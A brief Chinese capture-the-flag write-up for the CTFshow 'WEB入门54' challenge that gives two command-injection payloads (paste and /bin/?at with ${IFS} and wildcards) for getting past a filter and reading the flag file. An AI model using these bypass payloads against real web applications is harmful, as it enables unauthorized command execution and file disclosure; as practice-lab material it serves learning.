方法一：利用paste查看文件内容 payload：?c=paste${IFS}fla?.php
方法二： payload：/bin/?at${IFS}f??????? 可以理解为当前目录运行cat命令实际上运行的也是bin/cat，而通配符不会帮你去找到bin下面的cat 只会在当前目录寻找能通配的文件,所以用通配符运行时必须给出路径
/bin/?at${IFS}f???????
CTFshow WEB入门54
原文：https://www.cnblogs.com/z1ten9/p/14365897.html
